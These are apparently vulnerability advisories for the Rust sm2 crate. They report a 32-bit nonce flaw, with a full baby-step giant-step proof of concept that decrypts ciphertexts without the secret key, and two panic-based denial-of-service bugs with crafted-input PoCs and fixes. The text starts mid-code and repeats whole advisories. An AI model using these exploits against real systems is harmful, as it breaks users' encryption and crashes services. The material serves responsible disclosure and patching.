    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
